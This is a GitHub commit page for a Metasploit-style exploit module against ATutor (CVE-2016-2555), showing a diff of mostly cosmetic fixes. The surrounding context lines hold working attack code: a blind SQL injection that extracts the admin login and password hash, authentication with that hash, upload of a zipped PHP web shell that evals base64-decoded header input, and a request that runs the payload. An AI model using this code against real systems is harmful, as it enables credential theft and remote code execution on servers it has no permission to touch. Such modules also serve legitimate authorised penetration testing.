Skip to content

Commit d9d257c

Browse files
committed
Fix some things
1 parent 5ef8854 commit d9d257c

File tree

1 file changed

+12
-12
lines changed

1 file changed

+12
-12
lines changed

modules/exploits/multi/http/atutor_sqli.rb

Lines changed: 12 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ def initialize(info={})
1717
'Description' => %q{
1818
This module exploits a SQL Injection vulnerability and an authentication weakness
1919
vulnerability in ATutor. This essentially means an attacker can bypass authenication
20-
and reach the administrators interface where they can upload malicious code.
20+
and reach the administrator's interface where they can upload malicious code.
2121
},
2222
'License' => MSF_LICENSE,
2323
'Author' =>
@@ -28,7 +28,7 @@ def initialize(info={})
2828
[
2929
[ 'CVE', '2016-2555' ],
3030
[ 'URL', 'http://www.atutor.ca/' ], # Official Website
31-
[ 'URL', 'http://sourceincite.com/research/src-2016-08/'] # Advisory
31+
[ 'URL', 'http://sourceincite.com/research/src-2016-08/' ] # Advisory
3232
],
3333
'Privileged' => false,
3434
'Payload' =>
@@ -43,7 +43,7 @@ def initialize(info={})
4343

4444
register_options(
4545
[
46-
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
46+
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/'])
4747
],self.class)
4848
end
4949

@@ -61,7 +61,7 @@ def print_good(msg='')
6161

6262
def check
6363
# the only way to test if the target is vuln
64-
if test_injection()
64+
if test_injection
6565
return Exploit::CheckCode::Vulnerable
6666
else
6767
return Exploit::CheckCode::Safe
@@ -75,7 +75,7 @@ def create_zip_file
7575
@plugin_name = Rex::Text.rand_text_alpha_lower(3)
7676

7777
path = "#{@plugin_name}/#{@payload_name}.php"
78-
# this content path is where the ATutor authors recommended to install it
78+
# this content path is where the ATutor authors recommended installing it
7979
register_file_for_cleanup("#{@payload_name}.php", "/var/content/module/#{path}")
8080
zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
8181
zip_file.pack
@@ -86,7 +86,7 @@ def exec_code
8686
'method' => 'GET',
8787
'uri' => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),
8888
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
89-
}, timeout = 0.1)
89+
}, 0.1)
9090
end
9191

9292
def upload_shell(cookie)
@@ -99,20 +99,20 @@ def upload_shell(cookie)
9999
'method' => 'POST',
100100
'data' => data,
101101
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
102-
'cookie' => cookie,
102+
'cookie' => cookie
103103
})
104104

105105
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")
106106
res = send_request_cgi({
107107
'method' => 'GET',
108108
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),
109-
'cookie' => cookie,
109+
'cookie' => cookie
110110
})
111111
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")
112112
res = send_request_cgi({
113113
'method' => 'GET',
114114
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),
115-
'cookie' => cookie,
115+
'cookie' => cookie
116116
})
117117
return true
118118
end
@@ -162,7 +162,7 @@ def perform_request(sqli)
162162
return res.body
163163
end
164164

165-
def dump_the_hash()
165+
def dump_the_hash
166166
extracted_hash = ""
167167
sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"
168168
login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli).to_i
@@ -220,7 +220,7 @@ def generate_sql_and_test(do_true=false, do_test=false, sql=nil)
220220
end
221221
end
222222

223-
def test_injection()
223+
def test_injection
224224
if generate_sql_and_test(do_true=true, do_test=true, sql=nil)
225225
if generate_sql_and_test(do_true=false, do_test=true, sql=nil)
226226
return true
@@ -260,7 +260,7 @@ def report_cred(opts)
260260

261261
def exploit
262262
print_status("Dumping the username and password hash...")
263-
credz = dump_the_hash()
263+
credz = dump_the_hash
264264
if credz
265265
print_good("Got the #{credz[0]}'s hash: #{credz[1]} !")
266266
admin_cookie = login(credz[0], credz[1])

0 commit comments

Comments
 (0)